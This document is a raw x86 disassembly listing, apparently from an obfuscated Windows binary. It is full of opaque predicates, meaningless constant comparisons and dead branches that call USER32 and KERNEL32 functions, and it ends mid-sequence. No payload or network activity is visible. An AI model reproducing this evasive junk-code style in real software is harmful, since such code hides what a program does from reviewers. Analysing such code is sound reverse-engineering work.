lea ecx, [ebp - 0xa30]
call fcn.00433638
mov dword [ebp - 0x93c], 0xfffffff6
mov dword [ebp - 0xaa4], 0xfffffffa
push 1
lea ecx, [ebp - 0x2a6c]
call fcn.00433638
mov dword [ebp - 0x296c], 0x55d5
mov dword [ebp - 0x2974], 0x87778e10
mov dword [ebp - 0x297c], 0x8e00
mov dword [ebp - 0x210], 0
jmp 0x473837
mov eax, dword [ebp - 0x210]
inc eax
mov dword [ebp - 0x210], eax
cmp dword [ebp - 0x210], 1
jge 0x473859
push dword [ebp - 0x210]
lea ecx, [ebp - 0xa30]
call fcn.00433726
mov dword [eax], 0x5960
jmp 0x47382a
mov dword [ebp - 0x210], 0
jmp 0x473872
mov eax, dword [ebp - 0x210]
inc eax
mov dword [ebp - 0x210], eax
cmp dword [ebp - 0x210], 1
jge 0x473891
push dword [ebp - 0x210]
lea ecx, [ebp - 0x2a6c]
call fcn.00433726
or dword [eax], 0xffffffff
jmp 0x473865
push 0
lea ecx, [ebp - 0xa30]
call fcn.00433726
mov eax, dword [eax]
mov dword [ebp - 0x93c], eax
mov esi, dword [ebp - 0x93c]
push 0
lea ecx, [ebp - 0xa30]
call fcn.00433726
cmp esi, dword [eax]
jne 0x4738c9
mov dword [ebp - 0xfe8], 1
jmp 0x4738d0
and dword [ebp - 0xfe8], 0
cmp dword [ebp - 0xfe8], 0x4643cdf9
jl 0x4738e8
mov dword [ebp - 0x1d90], 1
jmp 0x4738ef
and dword [ebp - 0x1d90], 0
push 0
lea ecx, [ebp - 0xa30]
call fcn.00433726
mov esi, eax
push 0
lea ecx, [ebp - 0xa30]
call fcn.00433726
mov ecx, dword [esi]
cmp ecx, dword [eax]
jne 0x47391e
push 0
lea ecx, [ebp - 0xa30]
call fcn.00433726
push 0
lea ecx, [ebp - 0xa30]
call fcn.00433726
cmp dword [eax], 0
jne 0x47393e
xor eax, eax
inc eax
jne 0x47393e
and dword [ebp - 0x1d80], 0
jmp 0x473948
mov dword [ebp - 0x1d80], 1
cmp dword [ebp - 0x1d80], 0x15f84255
jne 0x473960
mov dword [ebp - 0xff0], 1
jmp 0x473967
and dword [ebp - 0xff0], 0
mov eax, dword [ebp - 0xff0]
mov dword [ebp - 0xaa4], eax
mov esi, dword [ebp - 0xaa4]
push 0
lea ecx, [ebp - 0x2a6c]
call fcn.00433726
add esi, dword [eax]
je 0x4739a8
push 0
lea ecx, [ebp - 0xa30]
call fcn.00433726
cmp dword [eax], 0
je 0x4739a8
mov dword [ebp - 0x2964], 1
jmp 0x4739af
and dword [ebp - 0x2964], 0
push 0
lea ecx, [ebp - 0x2a6c]
call fcn.00433726
cmp dword [ebp - 0x296c], 0x90ae735
jne 0x4739d4
mov dword [ebp - 0x1d88], 1
jmp 0x4739db
and dword [ebp - 0x1d88], 0
push 0
lea ecx, [ebp - 0xa30]
call fcn.00433726
mov eax, dword [eax]
mov ecx, dword [ebp - 0x1d88]
lea esi, [ecx + eax + 0x2b56]
push 0
lea ecx, [ebp - 0x2a6c]
call fcn.00433726
cmp esi, dword [eax]
jg 0x473a14
mov dword [ebp - 0xff8], 1
jmp 0x473a1b
and dword [ebp - 0xff8], 0
push 0
lea ecx, [ebp - 0xa30]
call fcn.00433726
mov ecx, dword [ebp - 0xff8]
cmp ecx, dword [eax]
je 0x473a3e
mov dword [ebp - 0x1000], 1
jmp 0x473a45
and dword [ebp - 0x1000], 0
mov eax, dword [ebp - 0x1d90]
cmp eax, dword [ebp - 0x1000]
jne 0x473a5f
mov dword [ebp - 0x1d98], 1
jmp 0x473a66
and dword [ebp - 0x1d98], 0
mov eax, dword [ebp - 0x1d98]
mov dword [ebp - 0x2974], eax
push 0xfffffffffffffffa
pop eax
test eax, eax
je 0x473aab
mov eax, dword [ebp - 0x297c]
mov dword [ebp - 0x93c], eax
mov esi, dword [ebp - 0x93c]
push 0
lea ecx, [ebp - 0xa30]
call fcn.00433726
imul esi, dword [eax]
test esi, esi
je 0x473aab
mov dword [ebp - 0x1008], 1
jmp 0x473ab2
and dword [ebp - 0x1008], 0
mov eax, dword [ebp - 0x1008]
mov dword [ebp - 0xaa4], eax
lea ecx, [ebp - 0x2a6c]
call fcn.0043370a
lea ecx, [ebp - 0xa30]
call fcn.0043370a
mov dword [ebp - 0xacc], 0xfffffffa
mov dword [ebp - 0x40], 0xffffffff
mov dword [ebp - 0x578], 0xabfc3938
mov dword [ebp - 0x2984], 0
mov dword [ebp - 0x1de0], 0x6c2db602
mov dword [ebp - 0x6f4], 0
jmp 0x473b1c
mov eax, dword [ebp - 0x6f4]
inc eax
mov dword [ebp - 0x6f4], eax
cmp dword [ebp - 0x6f4], 2
jge 0x473b38
mov eax, dword [ebp - 0x6f4]
mov dword [ebp + eax*4 - 0x2300], 1
jmp 0x473b0f
cmp dword [ebp - 0x40], 0xaa9ac70c
je 0x473b4d
mov dword [ebp - 0x1da0], 1
jmp 0x473b54
and dword [ebp - 0x1da0], 0
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x38dc], eax
mov eax, dword [ebp - 0x40]
cmp dword [ebp - 0x1da0], eax
je 0x473b74
mov dword [ebp - 0x1010], 1
jmp 0x473b7b
and dword [ebp - 0x1010], 0
cmp dword [ebp - 0x40], 8
jne 0x473b8d
mov dword [ebp - 0x1da8], 1
jmp 0x473b94
and dword [ebp - 0x1da8], 0
mov eax, dword [ebp - 0x1010]
cmp eax, dword [ebp - 0x1da8]
jg 0x473bae
mov dword [ebp - 0x1018], 1
jmp 0x473bb5
and dword [ebp - 0x1018], 0
mov eax, dword [ebp - 0x1018]
mov dword [ebp - 0x578], eax
mov dword [ebp - 0x40], 0x17
jmp 0x473bd1
cmp dword [ebp - 0x40], 0xfffffff5
je 0x473f4f
mov dword [ebp - 0x74], 2
mov dword [ebp - 0x1dd8], 0xdbfe6b87
mov dword [ebp - 0x3288], 0xfffffffd
mov dword [ebp - 0x3284], 0xfffffffd
mov dword [ebp - 0x3280], 0xfffffffd
mov dword [ebp - 0x327c], 0xfffffffd
cmp dword [ebp - 0x74], 0
jne 0x473c1e
cmp dword [ebp - 0x40], 0
mov eax, dword [ebp - 0x74]
imul eax, dword [ebp - 0x40]
sub eax, 0xedc0
cmp dword [ebp - 0x578], eax
jle 0x473c3e
mov dword [ebp - 0x1db0], 1
jmp 0x473c45
and dword [ebp - 0x1db0], 0
mov eax, dword [ebp - 0x40]
cmp dword [ebp - 0x1db0], eax
jle 0x473c5c
mov dword [ebp - 0x1020], 1
jmp 0x473c63
and dword [ebp - 0x1020], 0
cmp dword [ebp - 0x1020], 0
jb 0x473c78
mov dword [ebp - 0x1db8], 1
jmp 0x473c7f
and dword [ebp - 0x1db8], 0
cmp dword [ebp - 0x1db8], 0x77c4
jge 0x473c97
mov dword [ebp - 0x1028], 1
jmp 0x473c9e
and dword [ebp - 0x1028], 0
cmp dword [ebp - 0x1028], 0x22abf7c2
jle 0x473cb6
mov dword [ebp - 0x1dc0], 1
jmp 0x473cbd
and dword [ebp - 0x1dc0], 0
cmp dword [ebp - 0x1dc0], 0xffffffff
ja 0x473cd2
mov dword [ebp - 0x1030], 1
jmp 0x473cd9
and dword [ebp - 0x1030], 0
mov eax, dword [ebp - 0x40]
cmp dword [ebp - 0x1030], eax
jge 0x473cf0
mov dword [ebp - 0x1dc8], 1
jmp 0x473cf7
and dword [ebp - 0x1dc8], 0
mov eax, dword [ebp - 0x1dc8]
neg eax
je 0x473d13
cmp dword [ebp - 0x40], 0
je 0x473d13
and dword [ebp - 0x1038], 0
mov eax, dword [ebp - 0x74]
neg eax
mov ecx, dword [ebp - 0x1038]
sub ecx, 6
cmp eax, ecx
jne 0x473d38
push 1
lea ecx, [ebp - 0x2a8c]
call fcn.00433638
mov dword [ebp - 0x2a14], 0x55d5
mov dword [ebp - 0x164], 0xdada439b
mov dword [ebp - 0xaac], 1
mov dword [ebp - 0x47c], 0x32d7af2c
mov dword [ebp - 0x6fc], 1
mov dword [ebp - 0x2994], 0xfffffffa
push 3
lea ecx, [ebp - 0x369c]
call fcn.00433638
mov dword [ebp - 0x3528], 9
mov dword [ebp - 0x87c], 0
jmp 0x473fc8
mov eax, dword [ebp - 0x87c]
inc eax
mov dword [ebp - 0x87c], eax
cmp dword [ebp - 0x87c], 3
jge 0x473fea
push dword [ebp - 0x87c]
lea ecx, [ebp - 0x369c]
call fcn.00433726
mov dword [eax], 1
jmp 0x473fbb
xor eax, eax
inc eax
je 0x474004
cmp dword [ebp - 0x164], 0
je 0x474004
mov dword [ebp - 0x1070], 1
jmp 0x47400b
and dword [ebp - 0x1070], 0
mov eax, dword [ebp - 0x1070]
mov dword [ebp - 0xaac], eax
mov eax, dword [ebp - 0x164]
cmp dword [ebp - 0xaac], eax
jne 0x474031
mov dword [ebp - 0x1e08], 1
jmp 0x474038
and dword [ebp - 0x1e08], 0
mov eax, dword [ebp - 0x164]
cmp eax, dword [ebp - 0x1e08]
jge 0x474052
mov dword [ebp - 0x1078], 1
jmp 0x474059
and dword [ebp - 0x1078], 0
cmp dword [ebp - 0x1078], 1
jb 0x47406e
mov dword [ebp - 0x1e10], 1
jmp 0x474075
and dword [ebp - 0x1e10], 0
mov eax, dword [ebp - 0x1e10]
mov dword [ebp - 0x47c], eax
cmp dword [ebp - 0x47c], 0xfdda
jne 0x474099
mov dword [ebp - 0x1080], 1
jmp 0x4740a0
and dword [ebp - 0x1080], 0
mov eax, dword [ebp - 0x164]
cmp dword [ebp - 0x1080], eax
jne 0x4740d2
cmp dword [ebp - 0x6fc], 0
jne 0x4740d2
mov eax, 0xb11f
test eax, eax
jne 0x4740d2
mov dword [ebp - 0x1e18], 1
mov eax, dword [ebp - 0x164]
cmp dword [ebp - 0x1e18], eax
jle 0x4740f6
mov dword [ebp - 0x1088], 1
jmp 0x4740fd
and dword [ebp - 0x1088], 0
mov eax, dword [ebp - 0x164]
cmp eax, dword [ebp - 0x1088]
jg 0x474117
cmp dword [ebp + 8], 1
jne 0x489615
mov dword [ebp - 0x594], 0xfffffffa
mov dword [ebp - 0x2858], 0xffffffff
mov dword [ebp - 0x7c0], 0
jmp 0x482d47
mov eax, dword [ebp - 0x7c0]
inc eax
mov dword [ebp - 0x7c0], eax
cmp dword [ebp - 0x7c0], 3
jge 0x482d63
mov eax, dword [ebp - 0x7c0]
mov dword [ebp + eax*4 - 0x3098], 1
jmp 0x482d3a
mov eax, dword [ebp - 0x594]
mov dword [ebp - 0x3908], eax
mov eax, dword [ebp - 0x594]
mov dword [ebp - 0x20d4], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x20d4]
mov dword [ebp + eax - 0x3098], ecx
cmp dword [ebp - 0x20d4], 0
jne 0x482deb
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x3098], 0
jne 0x482db2
mov dword [ebp - 0xa98], 1
jmp 0x482db9
and dword [ebp - 0xa98], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0xa98]
mov dword [ebp + eax - 0x3098], ecx
mov eax, dword [ebp - 0x594]
mov ecx, dword [ebp - 0xa98]
lea eax, [ecx + eax + 0x90a3]
test eax, eax
jne 0x482deb
and dword [ebp - 0x1cd4], 0
jmp 0x482df5
mov dword [ebp - 0x1cd4], 1
mov eax, dword [ebp - 0x594]
cmp eax, dword [ebp - 0x1cd4]
jle 0x482e0f
mov dword [ebp - 0x20f8], 1
jmp 0x482e16
and dword [ebp - 0x20f8], 0
mov eax, dword [ebp - 0x594]
add eax, dword [ebp - 0x20f8]
mov dword [ebp - 0x2858], eax
mov byte [ebp - 0x339], 0
movzx eax, byte [ebp - 0x339]
test eax, eax
je 0x482e42
push 0
call dword [sym.imp.USER32.dll_CharNextW]
mov dword [ebp - 0x2860], 0x9c17633e
mov dword [ebp - 0x3910], 0x17f75960
mov dword [ebp - 0xaa0], 0
mov dword [ebp - 0x290], 0xce3e63e3
mov dword [ebp - 0x7d0], 0xa622a149
mov dword [ebp - 0x2a30], 0xffffffff
or dword [ebp - 0x2e88], 0xffffffff
or dword [ebp - 0x2e84], 0xffffffff
or dword [ebp - 0x2e80], 0xffffffff
or dword [ebp - 0x2e7c], 0xffffffff
lea ecx, [ebp - 0xc2d]
call fcn.00433735
push eax
lea eax, [ebp - 0x2e78]
push eax
lea eax, [ebp - 0x2e88]
push eax
lea ecx, [ebp - 0x3ad8]
call fcn.00433738
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x3784]
call fcn.004336e4
push 1
lea ecx, [ebp - 0x2cdc]
call fcn.00433638
mov dword [ebp - 0x3918], 0xffffffff
mov dword [ebp - 0x7c8], 0
jmp 0x482eff
mov eax, dword [ebp - 0x7c8]
inc eax
mov dword [ebp - 0x7c8], eax
cmp dword [ebp - 0x7c8], 1
jge 0x482f21
push dword [ebp - 0x7c8]
lea ecx, [ebp - 0x2cdc]
call fcn.00433726
mov dword [eax], 2
jmp 0x482ef2
cmp dword [ebp - 0x2a30], 0xffffffff
jle 0x482f36
mov dword [ebp - 0x1cdc], 1
jmp 0x482f3d
and dword [ebp - 0x1cdc], 0
mov eax, dword [ebp - 0x7d0]
imul eax, dword [ebp - 0x1cdc]
cmp eax, dword [ebp - 0x290]
jle 0x482f67
cmp dword [ebp - 0x7d0], 0
je 0x482f67
mov dword [ebp - 0x14e4], 1
jmp 0x482f6e
and dword [ebp - 0x14e4], 0
cmp dword [ebp - 0x14e4], 0
jb 0x482f83
mov dword [ebp - 0x14e8], 1
jmp 0x482f8a
and dword [ebp - 0x14e8], 0
mov eax, dword [ebp - 0x290]
cmp dword [ebp - 0x14e8], eax
jg 0x482fa4
mov dword [ebp - 0x14f0], 1
jmp 0x482fab
and dword [ebp - 0x14f0], 0
mov eax, dword [ebp - 0xaa0]
cmp dword [ebp - 0x14f0], eax
jg 0x482fc5
mov dword [ebp - 0x14f8], 1
jmp 0x482fcc
and dword [ebp - 0x14f8], 0
mov eax, dword [ebp - 0x7d0]
mov dword [ebp - 0x1500], eax
push 3
lea ecx, [ebp - 0x3784]
call fcn.00433726
mov ecx, dword [ebp - 0x1500]
mov dword [eax], ecx
mov eax, dword [ebp - 0x14f8]
mov dword [ebp - 0xaa0], eax
mov eax, dword [ebp - 0x1500]
sub eax, dword [ebp - 0xaa0]
imul eax, dword [ebp - 0x7d0]
cmp dword [ebp - 0x2860], eax
jne 0x483020
mov dword [ebp - 0x1508], 1
jmp 0x483027
and dword [ebp - 0x1508], 0
cmp dword [ebp - 0x1508], 1
jne 0x48303c
mov dword [ebp - 0x1510], 1
jmp 0x483043
and dword [ebp - 0x1510], 0
push 0
lea ecx, [ebp - 0x2cdc]
call fcn.00433726
mov dword [ebp - 0xaa8], eax
mov eax, dword [ebp - 0xaa8]
mov eax, dword [eax]
mov dword [ebp - 0x2bd0], eax
mov eax, dword [ebp - 0x1510]
mov dword [ebp - 0x2868], eax
mov eax, dword [ebp - 0xaa8]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0xaa8]
mov dword [ecx], eax
mov eax, dword [ebp - 0x2bd0]
cmp eax, dword [ebp - 0x2868]
je 0x48309b
mov dword [ebp - 0x1518], 1
jmp 0x4830a2
and dword [ebp - 0x1518], 0
cmp dword [ebp - 0x1518], 0xffffffff
jae 0x4830b7
mov dword [ebp - 0x1520], 1
jmp 0x4830be
and dword [ebp - 0x1520], 0
mov eax, dword [ebp - 0x1520]
mov dword [ebp - 0x290], eax
mov dword [ebp - 0x290], 0
jmp 0x4830e3
mov eax, dword [ebp - 0x290]
inc eax
mov dword [ebp - 0x290], eax
cmp dword [ebp - 0x290], 1
jge 0x483105
push dword [ebp - 0x290]
lea ecx, [ebp - 0x2cdc]
call fcn.00433726
mov dword [eax], 0x45beac3e
jmp 0x4830d6
lea ecx, [ebp - 0x2cdc]
call fcn.0043370a
lea ecx, [ebp - 0x3784]
call fcn.0043370a
mov dword [ebp - 0xb00], 0x67215912
push 1
lea ecx, [ebp - 0x2d9c]
call fcn.00433638
mov dword [ebp - 0x7e0], 0xbedcc590
mov dword [ebp - 0x1558], 0xffffffff
mov dword [ebp - 0x1550], 0x73196e86
mov dword [ebp - 0x3920], 0x6493
mov dword [ebp - 0x128], 0
jmp 0x483173
mov eax, dword [ebp - 0x128]
inc eax
mov dword [ebp - 0x128], eax
cmp dword [ebp - 0x128], 1
jge 0x483195
push dword [ebp - 0x128]
lea ecx, [ebp - 0x2d9c]
call fcn.00433726
mov dword [eax], 0xd3df75dc
jmp 0x483166
mov dword [ebp - 0x128], 0
jmp 0x4831ae
mov eax, dword [ebp - 0x128]
inc eax
mov dword [ebp - 0x128], eax
cmp dword [ebp - 0x128], 1
jge 0x4831ca
mov eax, dword [ebp - 0x128]
mov dword [ebp + eax*4 - 0x59c], 1
jmp 0x4831a1
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x59c], 0
jmp 0x4831f8
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x59c]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x59c], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x59c], 0
jl 0x483363
mov dword [ebp - 0x7d8], 4
mov dword [ebp - 0x2870], 0xcae7bf19
mov eax, dword [ebp - 0x7e0]
sub eax, 9
jne 0x483237
mov dword [ebp - 0x1548], 1
jmp 0x48323e
and dword [ebp - 0x1548], 0
push 0
lea ecx, [ebp - 0x2d9c]
call fcn.00433726
cmp dword [eax], 0
jne 0x483277
push 0
lea ecx, [ebp - 0x2d9c]
call fcn.00433726
mov ecx, dword [ebp - 0x7d8]
imul ecx, dword [eax]
cmp ecx, dword [ebp - 0x7d8]
jne 0x483277
and dword [ebp - 0x1528], 0
jmp 0x483281
mov dword [ebp - 0x1528], 1
mov eax, dword [ebp - 0x1528]
mov dword [ebp - 0x7d8], eax
mov eax, dword [ebp - 0x7e0]
cmp dword [ebp - 0x7d8], eax
jge 0x4832a7
mov dword [ebp - 0x1530], 1
jmp 0x4832ae
and dword [ebp - 0x1530], 0
mov eax, dword [ebp - 0x7e0]
cmp dword [ebp - 0x1530], eax
je 0x4832c8
mov dword [ebp - 0x2a38], 1
jmp 0x4832cf
and dword [ebp - 0x2a38], 0
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x59c], 0xa912
je 0x4832ee
mov dword [ebp - 0x1538], 1
jmp 0x4832f5
and dword [ebp - 0x1538], 0
mov eax, dword [ebp - 0x1558]
cmp eax, dword [ebp - 0x1538]
jg 0x48330f
mov dword [ebp - 0x1540], 1
jmp 0x483316
and dword [ebp - 0x1540], 0
mov eax, dword [ebp - 0x1540]
mov dword [ebp - 0x1550], eax
mov eax, dword [ebp - 0x1548]
sub eax, dword [ebp - 0x1550]
cmp eax, dword [ebp - 0x1558]
jl 0x483348
cmp dword [ebp - 0x7e0], 0
jne 0x483348
and dword [ebp - 0x1560], 0
jmp 0x483352
mov dword [ebp - 0x1560], 1
mov eax, dword [ebp - 0x1560]
mov dword [ebp - 0x2870], eax
jmp 0x4831dd
lea ecx, [ebp - 0x2d9c]
call fcn.0043370a
mov dword [ebp - 0xb48], 0x49c9fb37
push 4
lea ecx, [ebp - 0xc88]
call fcn.00433638
mov dword [ebp - 0x138], 0x90a624cd
mov dword [ebp - 0x7e8], 0
jmp 0x4833a8
mov eax, dword [ebp - 0x7e8]
inc eax
mov dword [ebp - 0x7e8], eax
cmp dword [ebp - 0x7e8], 4
jge 0x4833ca
push dword [ebp - 0x7e8]
lea ecx, [ebp - 0xc88]
call fcn.00433726
mov dword [eax], 6
jmp 0x48339b
push 2
lea ecx, [ebp - 0xc88]
call fcn.00433726
mov dword [eax], 0xfffffff9
jmp 0x483403
push 2
lea ecx, [ebp - 0xc88]
call fcn.00433726
mov dword [ebp - 0x1568], eax
mov eax, dword [ebp - 0x1568]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x1568]
mov dword [ecx], eax
push 2
lea ecx, [ebp - 0xc88]
call fcn.00433726
cmp dword [eax], 0xfffffff3
jle 0x48345e
mov dword [ebp - 0x7f0], 0
jmp 0x48342e
mov eax, dword [ebp - 0x7f0]
inc eax
mov dword [ebp - 0x7f0], eax
cmp dword [ebp - 0x7f0], 4
jge 0x48344a
mov eax, dword [ebp - 0x7f0]
mov dword [ebp + eax*4 - 0x3a98], 0xfffffff6
jmp 0x483421
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x3a98], 0
je 0x48345c
jmp 0x48345e
jmp 0x4833df
mov dword [ebp - 0x138], 0
jmp 0x483477
mov eax, dword [ebp - 0x138]
inc eax
mov dword [ebp - 0x138], eax
cmp dword [ebp - 0x138], 3
jg 0x483773
mov dword [ebp - 0x488], 0xc10977a1
mov dword [ebp - 0xab0], 1
mov dword [ebp - 0x15a8], 8
mov eax, dword [ebp - 0x488]
mov dword [ebp - 0x3928], eax
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0x3934], eax
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0x393c], eax
mov eax, dword [ebp - 0x488]
cmp dword [ebp - 0x488], eax
je 0x4834e0
mov dword [ebp - 0x1570], 1
jmp 0x4834e7
and dword [ebp - 0x1570], 0
mov eax, dword [ebp - 0x488]
cmp dword [ebp - 0x1570], eax
jl 0x483501
mov dword [ebp - 0x1578], 1
jmp 0x483508
and dword [ebp - 0x1578], 0
mov eax, dword [ebp - 0x488]
cmp eax, dword [ebp - 0x1578]
jle 0x483522
mov dword [ebp - 0x1580], 1
jmp 0x483529
and dword [ebp - 0x1580], 0
mov eax, dword [ebp - 0x138]
cmp eax, dword [ebp - 0x1580]
jge 0x483543
mov dword [ebp - 0x1588], 1
jmp 0x48354a
and dword [ebp - 0x1588], 0
push 2
lea ecx, [ebp - 0xc88]
call fcn.00433726
mov dword [eax], 0xfd9e
imul eax, dword [ebp - 0x1588], 0xfd9e
test eax, eax
jne 0x483574
cmp dword [ebp - 0xab0], 0
je 0x4835d9
push dword [ebp - 0x138]
lea ecx, [ebp - 0xc88]
call fcn.00433726
cmp dword [eax], 0
je 0x4835d9
cmp dword [ebp - 0x15a8], 0
je 0x4835b4
mov byte [ebp - 0x43a], 0
movzx eax, byte [ebp - 0x43a]
test eax, eax
je 0x4835b2
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsWindow]
jmp 0x4835d4
push 2
lea ecx, [ebp - 0xc88]
call fcn.00433726
push 2
lea ecx, [ebp - 0xc88]
call fcn.00433726
mov dword [eax], 0x11f3813b
jmp 0x48376e
push 1
lea ecx, [ebp - 0x2cf4]
call fcn.00433638
mov dword [ebp - 0x130], 0
jmp 0x4835ff
mov eax, dword [ebp - 0x130]
inc eax
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 1
jge 0x483621
push dword [ebp - 0x130]
lea ecx, [ebp - 0x2cf4]
call fcn.00433726
mov dword [eax], 0xc7c44d99
jmp 0x4835f2
mov dword [ebp - 0x130], 0
jmp 0x48363a
mov eax, dword [ebp - 0x130]
inc eax
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 1
jge 0x483656
mov eax, dword [ebp - 0x130]
mov dword [ebp + eax*4 - 0x2b90], 0xbf81606d
jmp 0x48362d
mov eax, dword [ebp - 0x138]
neg eax
imul esi, eax, 0x9634
add esi, 0xf4a1
push 2
lea ecx, [ebp - 0xc88]
call fcn.00433726
cmp esi, dword [eax]
jl 0x483687
mov dword [ebp - 0x1590], 1
jmp 0x48368e
and dword [ebp - 0x1590], 0
cmp dword [ebp - 0x1590], 0xfffffffa
jne 0x4836a3
mov dword [ebp - 0x1598], 1
jmp 0x4836aa
and dword [ebp - 0x1598], 0
cmp dword [ebp - 0x1598], 1
jne 0x4836bf
mov dword [ebp - 0x15a0], 1
jmp 0x4836c6
and dword [ebp - 0x15a0], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x15a0]
mov dword [ebp + eax - 0x2b90], ecx
mov eax, dword [ebp - 0xab0]
mov dword [ebp - 0x3944], eax
cmp dword [ebp - 0x15a8], 0
je 0x48370c
push 2
lea ecx, [ebp - 0xc88]
call fcn.00433726
cmp dword [eax], 0
je 0x48370c
mov dword [ebp - 0x15b0], 1
jmp 0x483713
and dword [ebp - 0x15b0], 0
push 0
lea ecx, [ebp - 0x2cf4]
call fcn.00433726
mov esi, eax
push 0
lea ecx, [ebp - 0x2cf4]
call fcn.00433726
mov ecx, dword [ebp - 0x15b0]
add ecx, dword [eax]
cmp dword [esi], ecx
jg 0x483750
cmp dword [ebp - 0x488], 0
je 0x483750
mov dword [ebp - 0x15b8], 1
jmp 0x483757
and dword [ebp - 0x15b8], 0
mov eax, dword [ebp - 0x15b8]
mov dword [ebp - 0xab0], eax
lea ecx, [ebp - 0x2cf4]
call fcn.0043370a
jmp 0x48346a
lea ecx, [ebp - 0xc88]
call fcn.0043370a
mov dword [ebp - 0x930], 0x83989226
push 4
lea ecx, [ebp - 0x30b0]
call fcn.00433638
mov dword [ebp - 0x2878], 0xffffffff
mov dword [ebp - 0x140], 0
jmp 0x4837b8
mov eax, dword [ebp - 0x140]
inc eax
mov dword [ebp - 0x140], eax
cmp dword [ebp - 0x140], 4
jge 0x4837da
push dword [ebp - 0x140]
lea ecx, [ebp - 0x30b0]
call fcn.00433726
mov dword [eax], 1
jmp 0x4837ab
mov dword [ebp - 0x140], 0
jmp 0x4837f3
mov eax, dword [ebp - 0x140]
inc eax
mov dword [ebp - 0x140], eax
cmp dword [ebp - 0x140], 4
jge 0x48380f
mov eax, dword [ebp - 0x140]
mov dword [ebp + eax*4 - 0x3308], 0xfebaeef2
jmp 0x4837e6
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0x3308], 0
jmp 0x48383a
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x3308]
inc eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0x3308], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x3308], 3
jg 0x483b35
mov dword [ebp - 0x7f8], 0xfffffffd
mov byte [ebp - 0x341], 0
movzx eax, byte [ebp - 0x341]
test eax, eax
je 0x48387a
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_InvalidateRect]
mov dword [ebp - 0x7f8], 0
jmp 0x483893
mov eax, dword [ebp - 0x7f8]
inc eax
mov dword [ebp - 0x7f8], eax
cmp dword [ebp - 0x7f8], 3
jg 0x483b30
mov dword [ebp - 0x5b4], 1
push 4
lea ecx, [ebp - 0x2fd8]
call fcn.00433638
mov dword [ebp - 0x800], 0
jmp 0x4838d0
mov eax, dword [ebp - 0x800]
inc eax
mov dword [ebp - 0x800], eax
cmp dword [ebp - 0x800], 4
jge 0x4838f2
push dword [ebp - 0x800]
lea ecx, [ebp - 0x2fd8]
call fcn.00433726
mov dword [eax], 1
jmp 0x4838c3
mov dword [ebp - 0x5b4], 3
jmp 0x48390b
mov eax, dword [ebp - 0x5b4]
dec eax
mov dword [ebp - 0x5b4], eax
cmp dword [ebp - 0x5b4], 0
jl 0x483af5
mov dword [ebp - 0x5ac], 0xffffffff
mov dword [ebp - 0x5ac], 3
jmp 0x48393b
mov eax, dword [ebp - 0x5ac]
dec eax
mov dword [ebp - 0x5ac], eax
cmp dword [ebp - 0x5ac], 0
jl 0x483af0
mov dword [ebp - 0x5a4], 0xfffffffc
mov dword [ebp - 0x5a4], 0
jmp 0x48396b
cmp dword [ebp - 0x5a4], 3
jg 0x483aeb
push 2
lea ecx, [ebp - 0x2b1c]
call fcn.00433638
mov dword [ebp - 0x808], 0
jmp 0x48399e
cmp dword [ebp - 0x808], 2
jge 0x4839c0
jmp 0x48392e
jmp 0x4838fe
mov byte [ebp - 0x349], 0
movzx eax, byte [ebp - 0x349]
test eax, eax
je 0x483b20
push 0
push 0xa98
push 0x2c8
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetScrollPos]
lea ecx, [ebp - 0x2fd8]
call fcn.0043370a
jmp 0x483886
jmp 0x483821
lea ecx, [ebp - 0x30b0]
call fcn.0043370a
mov dword [ebp - 0x3f0], 0
mov dword [ebp - 0x940], 1
mov dword [ebp - 0x5bc], 0xf6af1124
mov dword [ebp - 0x5bc], 0
jmp 0x483b77
mov eax, dword [ebp - 0x5bc]
dec eax
mov dword [ebp - 0x5bc], eax
cmp dword [ebp - 0x5bc], 0xffffffe2
je 0x483c9d
push 1
lea ecx, [ebp - 0x2ff0]
call fcn.00433638
mov dword [ebp - 0x5c4], 0x654fddd3
mov dword [ebp - 0x810], 0
jmp 0x483bb4
mov eax, dword [ebp - 0x810]
inc eax
mov dword [ebp - 0x810], eax
cmp dword [ebp - 0x810], 1
jge 0x483bd6
push dword [ebp - 0x810]
lea ecx, [ebp - 0x2ff0]
call fcn.00433726
mov dword [eax], 0x3fa7
jmp 0x483ba7
mov dword [ebp - 0x5c4], 0
jmp 0x483bef
mov eax, dword [ebp - 0x5c4]
dec eax
mov dword [ebp - 0x5c4], eax
cmp dword [ebp - 0x5c4], 0
jl 0x483c2c
mov byte [ebp - 0x414], 0
movzx eax, byte [ebp - 0x414]
test eax, eax
je 0x483c2a
push 0
push 0x744
push 0
push 0xaea
push 0x230a
push 0
push 0x600
call dword [sym.imp.KERNEL32.dll_FormatMessageW]
jmp 0x483be2
push 0
lea ecx, [ebp - 0x2ff0]
call fcn.00433726
cmp dword [eax], 0
je 0x483c6b
mov byte [ebp - 0x351], 0
movzx eax, byte [ebp - 0x351]
test eax, eax
je 0x483c69
push 0x2316
push 0x23a0
push 0
push 0x4e6
push 0
